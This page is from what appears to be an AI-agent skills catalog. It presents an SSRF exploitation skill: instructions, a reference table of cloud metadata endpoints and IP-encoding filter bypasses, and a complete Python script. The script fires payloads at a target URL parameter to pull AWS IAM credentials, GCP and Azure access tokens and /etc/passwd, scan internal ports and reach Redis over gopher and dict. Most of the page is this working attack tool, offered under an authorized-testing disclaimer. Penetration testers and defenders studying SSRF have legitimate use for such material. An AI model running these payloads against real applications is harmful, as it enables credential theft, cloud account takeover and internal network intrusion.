Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-SkillsFramework mappings
MITRE ATT&CK
When to Use
- When conducting security assessments that involve performing ssrf vulnerability exploitation
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with security operations concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Instructions
- Install dependencies:
pip install requests - Identify URL parameters in the target application that accept URLs or hostnames.
- Test SSRF payloads:
- Cloud metadata:
http://169.254.169.254/latest/meta-data/ - Internal services:
http://127.0.0.1:port/,http://10.0.0.1/ - Protocol handlers:
file:///etc/passwd,gopher://,dict:// - Bypass techniques: IP encoding, DNS rebinding, URL redirects
- Cloud metadata:
- Analyze responses for information disclosure or internal access confirmation.
- Generate a vulnerability assessment report.
# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.jsonExamples
AWS Metadata SSRF
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.
Source materials
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md1.4 KB
API Reference: SSRF Vulnerability Testing
Cloud Metadata Endpoints
| Cloud | URL | Headers |
|---|---|---|
| AWS IMDSv1 | http://169.254.169.254/latest/meta-data/ |
None |
| AWS IMDSv2 | http://169.254.169.254/latest/api/token |
X-aws-ec2-metadata-token-ttl-seconds: 21600 |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
Metadata-Flavor: Google |
| Azure | http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
Metadata: true |
IP Encoding Bypass Techniques
| Technique | 169.254.169.254 Encoded |
|---|---|
| Decimal | 2852039166 |
| Hex | 0xa9fea9fe |
| Octal | 0251.0376.0251.0376 |
| IPv6 mapped | [::ffff:169.254.169.254] |
| Shortened | 169.254.169.254 -> 0 (localhost) |
Python requests
import requests
resp = requests.get(url, timeout=10, allow_redirects=False, verify=False)
resp.status_code # HTTP status
resp.text # Response body
len(resp.content) # Response size
resp.headers # Response headersSSRF Impact Levels
| Access | Impact | Severity |
|---|---|---|
| Cloud metadata credentials | Full account compromise | Critical |
| Internal service access | Lateral movement | High |
| Local file read (file://) | Information disclosure | High |
| Internal port scan | Reconnaissance | Medium |
MITRE ATT&CK
- T1190 - Exploit Public-Facing Application
- T1552.005 - Cloud Instance Metadata API
Scripts 1
agent.py7.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and lab environments only
"""SSRF Vulnerability Testing Agent - Tests for Server-Side Request Forgery via URL parameters."""
import json
import logging
import argparse
from datetime import datetime
import requests
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
METADATA_PAYLOADS = [
{"name": "AWS IMDSv1 metadata", "url": "http://169.254.169.254/latest/meta-data/", "indicator": "ami-id"},
{"name": "AWS IAM credentials", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "indicator": "AccessKeyId"},
{"name": "AWS user-data", "url": "http://169.254.169.254/latest/user-data", "indicator": ""},
{"name": "GCP metadata", "url": "http://metadata.google.internal/computeMetadata/v1/", "indicator": "attributes"},
{"name": "GCP service account token", "url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "indicator": "access_token"},
{"name": "Azure IMDS", "url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01", "indicator": "compute"},
{"name": "Azure managed identity", "url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/", "indicator": "access_token"},
]
INTERNAL_SCAN_PORTS = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017]
BYPASS_PAYLOADS = [
{"name": "Decimal IP", "url": "http://2852039166/latest/meta-data/"},
{"name": "Hex IP", "url": "http://0xa9fea9fe/latest/meta-data/"},
{"name": "Octal IP", "url": "http://0251.0376.0251.0376/latest/meta-data/"},
{"name": "IPv6 mapped", "url": "http://[::ffff:169.254.169.254]/latest/meta-data/"},
{"name": "Short URL localhost", "url": "http://0/"},
{"name": "Redirect bypass", "url": "http://spoofed.burpcollaborator.net/redirect?url=http://169.254.169.254/"},
{"name": "DNS rebinding", "url": "http://a]@169.254.169.254/latest/meta-data/"},
]
def test_ssrf_payload(target_url, ssrf_payload, timeout=10):
"""Send an SSRF payload through the target URL parameter."""
test_url = f"{target_url}{ssrf_payload}"
try:
resp = requests.get(test_url, timeout=timeout, allow_redirects=False, verify=False)
return {
"status_code": resp.status_code,
"response_length": len(resp.content),
"response_preview": resp.text[:500],
"headers": dict(resp.headers),
}
except requests.RequestException as e:
return {"error": str(e)}
def test_metadata_endpoints(target_url):
"""Test cloud metadata SSRF payloads."""
findings = []
for payload in METADATA_PAYLOADS:
result = test_ssrf_payload(target_url, payload["url"])
vulnerable = False
if "error" not in result:
if result["status_code"] == 200 and result["response_length"] > 10:
if payload["indicator"] and payload["indicator"] in result.get("response_preview", ""):
vulnerable = True
elif not payload["indicator"] and result["response_length"] > 50:
vulnerable = True
findings.append({
"test": payload["name"],
"payload": payload["url"],
"vulnerable": vulnerable,
"severity": "critical" if vulnerable else "info",
"response_status": result.get("status_code"),
"response_length": result.get("response_length", 0),
})
if vulnerable:
logger.warning("SSRF confirmed: %s", payload["name"])
return findings
def test_internal_port_scan(target_url, internal_ip="127.0.0.1"):
"""Use SSRF to scan internal ports."""
open_ports = []
for port in INTERNAL_SCAN_PORTS:
payload = f"http://{internal_ip}:{port}/"
result = test_ssrf_payload(target_url, payload, timeout=5)
if "error" not in result and result["status_code"] != 502:
open_ports.append({
"ip": internal_ip,
"port": port,
"status": result["status_code"],
"response_length": result["response_length"],
})
logger.info("Internal port open: %s:%d (status: %d)", internal_ip, port, result["status_code"])
return open_ports
def test_bypass_techniques(target_url):
"""Test SSRF filter bypass techniques."""
bypass_results = []
for payload in BYPASS_PAYLOADS:
result = test_ssrf_payload(target_url, payload["url"], timeout=5)
success = "error" not in result and result.get("status_code") == 200 and result.get("response_length", 0) > 10
bypass_results.append({
"technique": payload["name"],
"payload": payload["url"],
"bypassed": success,
"severity": "high" if success else "info",
})
if success:
logger.warning("SSRF bypass succeeded: %s", payload["name"])
return bypass_results
def test_protocol_handlers(target_url):
"""Test non-HTTP protocol handlers for SSRF."""
protocols = [
{"name": "file:// protocol", "url": "file:///etc/passwd", "indicator": "root:"},
{"name": "gopher:// protocol", "url": "gopher://127.0.0.1:6379/_INFO", "indicator": "redis"},
{"name": "dict:// protocol", "url": "dict://127.0.0.1:6379/INFO", "indicator": "redis"},
]
results = []
for proto in protocols:
result = test_ssrf_payload(target_url, proto["url"], timeout=5)
vulnerable = (
"error" not in result
and result.get("status_code") == 200
and proto["indicator"] in result.get("response_preview", "")
)
results.append({
"protocol": proto["name"],
"payload": proto["url"],
"vulnerable": vulnerable,
"severity": "critical" if vulnerable else "info",
})
return results
def generate_report(metadata_findings, port_scan, bypass_results, protocol_results):
"""Generate SSRF assessment report."""
critical = (
[f for f in metadata_findings if f["vulnerable"]]
+ [b for b in bypass_results if b["bypassed"]]
+ [p for p in protocol_results if p["vulnerable"]]
)
report = {
"timestamp": datetime.utcnow().isoformat(),
"metadata_tests": metadata_findings,
"internal_port_scan": port_scan,
"bypass_techniques": bypass_results,
"protocol_handlers": protocol_results,
"vulnerabilities_found": len(critical),
}
print(f"SSRF REPORT: {len(critical)} vulnerabilities found")
return report
def main():
parser = argparse.ArgumentParser(description="SSRF Vulnerability Testing Agent")
parser.add_argument("--target-url", required=True, help="Target URL with SSRF parameter (e.g. https://app/fetch?url=)")
parser.add_argument("--internal-ip", default="127.0.0.1", help="Internal IP for port scan")
parser.add_argument("--output", default="ssrf_report.json")
args = parser.parse_args()
metadata = test_metadata_endpoints(args.target_url)
ports = test_internal_port_scan(args.target_url, args.internal_ip)
bypasses = test_bypass_techniques(args.target_url)
protocols = test_protocol_handlers(args.target_url)
report = generate_report(metadata, ports, bypasses, protocols)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
Keep exploring